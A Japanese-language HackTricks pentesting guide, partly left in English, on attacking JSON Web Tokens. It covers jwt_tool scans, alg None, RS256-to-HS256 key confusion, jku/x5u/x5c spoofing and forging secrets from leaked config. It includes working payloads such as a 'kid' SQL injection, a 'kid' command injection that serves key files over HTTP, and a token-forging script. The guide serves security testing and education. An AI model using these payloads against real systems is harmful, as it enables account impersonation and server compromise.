JWTの脆弱性 (Json Web Tokens)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

本投稿の一部は以下の優れた投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTをpentestする素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool

クイックウィン

モード All Tests!jwt_tool を実行し、緑の行が出るまで待つ

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

運が良ければ、ツールはwebアプリケーションがJWTを不適切に検証しているケースを見つけます:

その後、proxyで該当のrequestを検索するか、そのrequestで使われたJWTをjwt_ toolを使ってダンプできます:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

何も変更せずにデータを改ざんする

署名はそのままにしてデータだけを改ざんし、サーバーが署名を検証しているか確認できます。例えば、ユーザー名を “admin” に変更してみてください。

トークンは検証されていますか?

  • エラーメッセージは検証が行われていることを示唆します。冗長なエラーに含まれる機密情報は確認してください。
  • 返されるページの変化も検証が行われていることを示します。
  • 変化がなければ検証されていない可能性が高く、この場合にペイロードのクレームを改ざんして試すべきです。

発生元

プロキシのリクエスト履歴を確認して、トークンがサーバー側で生成されたかクライアント側で生成されたかを判定することが重要です。

  • クライアント側で最初に観測されたトークンは、キーがクライアント側のコードに露出している可能性を示唆し、さらに調査が必要です。
  • サーバー側で生成されているトークンは安全なプロセスであることを示します。

有効期間

トークンが24時間以上有効か、あるいは永続的に有効かを確認してください。もし “exp” フィールドが存在する場合、サーバーがそれを正しく処理しているか確認してください。

Brute-force HMAC secret

See this page.

Derive JWT secrets from leaked config + DB data

もし任意のファイル読み取り(またはバックアップ leak)がapplication encryption materialuser recordsの両方を露出させた場合、平文のパスワードを知らなくてもJWT署名秘密鍵を再作成し、セッションCookieを偽造できることがあります。ワークフロー自動化スタックで観察された例パターン:

  1. config ファイルからアプリのキーを leak する(例: encryptionKey)。
  2. user table を leak して email, password_hash, user_id を取得する。
  3. キーから署名用の secret を導出し、続いて JWT ペイロードで期待されるユーザーごとのハッシュを導出する:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. 署名済みトークンをセッションCookie(例: n8n-auth)に入れて、パスワードハッシュにソルトが付加されていてもユーザー/管理者アカウントを偽装する。

Modify the algorithm to None

使用するアルゴリズムを “None” に設定し、署名部分を削除する。

Burp の拡張機能 “JSON Web Token” を使ってこの脆弱性を試し、JWT 内の様々な値を変更する(リクエストを Repeater に送信し、“JSON Web Token” タブでトークンの値を変更できます。 “Alg” フィールドの値を “None” にすることも選択できます)。

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

アルゴリズム HS256 はシークレットキーを使って各メッセージに署名および検証を行います。
アルゴリズム RS256 は秘密鍵でメッセージに署名し、公開鍵で認証を行います。

RS256 から HS256 にアルゴリズムを変更すると、バックエンドのコードが公開鍵をシークレットキーとして使用し、HS256 アルゴリズムで署名を検証するようになります。

その結果、公開鍵を使い RS256 を HS256 に変更することで有効な署名を作成できる場合があります。Web サーバの証明書を取得してこれを実行できます:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

ヘッダー内の新しい公開鍵

攻撃者がトークンのヘッダーに新しい鍵を埋め込み、サーバがこの新しい鍵を使って署名を検証することがあります (CVE-2018-0114)。

これは “JSON Web Tokens” Burp extension で行えます。
(リクエストを Repeater に送信し、JSON Web Token タブ内で “CVE-2018-0114” を選択してリクエストを送信します)。

JWKS Spoofing

この手順は、特に “jku” ヘッダークレームを使用している JWT トークンのセキュリティを評価する方法を詳述しています。このクレームは、トークンの検証に必要な公開鍵を含む JWKS (JSON Web Key Set) ファイルへのリンクであるべきです。

  • “jku” ヘッダーを持つトークンの評価:

  • “jku” クレームの URL を検証して、適切な JWKS ファイルに繋がるか確認する。

  • トークンの “jku” 値をコントロール下の web サービスに向けるように変更し、トラフィックを観測できるようにする。

  • HTTP 相互作用の監視:

  • 指定した URL への HTTP リクエストが観測されれば、サーバが提供されたリンクから鍵を取得しようとしたことを示す。

  • このプロセスで jwt_tool を使用する場合は、テストを容易にするために jwtconf.ini ファイルを個人の JWKS ロケーションに更新することが重要です。

  • Command for jwt_tool:

  • Execute the following command to simulate the scenario with jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Kid に関する問題の概要

オプションのヘッダクレームである kid は特定の鍵を識別するために利用され、複数の鍵が存在するような環境でトークンの署名検証に特に重要になります。このクレームは署名検証に適切な鍵を選択するのに役立ちます。

“kid” を使用して鍵を明らかにする

ヘッダーに kid クレームが存在する場合、対応するファイルやその派生ファイルについて web ディレクトリを検索することが推奨されます。例えば、"kid":"key/12345" が指定されている場合、web ルートで /key/12345/key/12345.pem を検索すべきです。

Path Traversal with “kid”

kid クレームはファイルシステムを横断するために悪用され、任意のファイルを選択できる可能性があります。kid 値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり SSRF (Server-Side Request Forgery) を実行したりすることが可能です。元の署名を保持したまま kid 値を変更するには、以下のように jwt_tool-T フラグを使用します:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

予測可能な内容を持つファイルを狙うことで、有効な JWT を偽造することが可能です。例えば、Linux システムの /proc/sys/kernel/randomize_va_space ファイルは値 2 を含むことで知られており、kid パラメータに使用して 2 を対称パスワードとして JWT 生成に使うことができます。

“kid” による SQL Injection

kid クレームの内容がデータベースからパスワードを取得するために使われている場合、kid ペイロードを改変することで SQL Injection を誘発できます。JWT の署名処理を変更するために SQL Injection を使う例のペイロードは次のとおりです:

non-existent-index' UNION SELECT 'ATTACKER';-- -

この変更により、JWT 署名には既知の秘密鍵 ATTACKER の使用が強制されます。

“kid” を介した OS Injection

kid パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定する場合、Remote Code Execution (RCE) 脆弱性につながる可能性があります。kid にコマンドを注入することで、秘密鍵を露出させることが可能です。RCE と鍵の露出を達成するための例のペイロードは次のとおりです:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u と jku

jku

jku は JWK Set URL の略です。
トークンが“jkuHeader クレームを使用している場合は、指定された URL を確認してください。ここは、トークン検証に使われる公開鍵を含む JWKS ファイルを指す URL であるはずです。トークンを改ざんして jku の値を、トラフィックを監視できる Web サービスを指すように変更します。

まずは新しい private & public keys を用いた新しい証明書を作成する必要があります。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

その後、例えば jwt.io を使って、作成した公開鍵と秘密鍵を用い、パラメータ jku を作成した証明書に指定して新しい JWT を作成できます。 有効な jku 証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更してください。

公開証明書からパラメータ「e」と「n」は次の方法で取得できます:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。PEM 形式でエンコードされた X.509(証明書フォーマット標準)の公開証明書群を指す URI。セット内の最初の証明書はこの JWT の署名に使用されたものでなければならない。以降の各証明書は直前の証明書を署名していき、これにより証明書チェーンが完成する。X.509 は RFC 52807 に定義されている。証明書の転送にはトランスポートセキュリティが必要である。

このヘッダを 自分の管理下にある URL に変更して、リクエストが届くか確認してみてください。その場合、JWT を改ざんできる可能性があります

自分で管理する証明書を使って新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then you can use for example jwt.io to create the new JWT with the 作成した公開鍵と秘密鍵を使い、パラメータ x5u を作成した証明書 .crt にポイントする形で 新しい JWT を作成できます。

You can also abuse both of these vulns for SSRFs.

x5c

This parameter may contain the base64 形式の証明書:

If the attacker 自己署名証明書を生成し、対応する秘密鍵を使って改竄したトークンを作成し、“x5c” パラメータの値を新しく生成した証明書に置き換え、他のパラメータ、つまり n、e および x5t を修正すると、実質的にその改竄トークンはサーバに受け入れられてしまいます。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

埋め込まれた公開鍵 (CVE-2018-0114)

もし JWT が次のように公開鍵を埋め込んでいる場合:

以下の nodejs スクリプトを使用すると、そのデータから公開鍵を生成できます:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

新しい private/public key を生成し、新しい public key を token 内に埋め込み、それを使って新しい signature を生成することが可能です:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

この nodejs スクリプトで “n” と “e” を取得できます:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.

ES256: 同じnonceを使用した場合の秘密鍵の復元

If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to リクエストをリプレイ (needing to send 10000 request between each successful replay).

JWT 登録済みクレーム

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.

  • A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.

Expiry Check of Tokens

The token’s expiry is checked using the “exp” Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user’s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the “exp” claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an “exp” claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool’s -R flag.

  • A security risk may be present if the application still validates the token, as it may imply that the token could never expire.

ツール

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする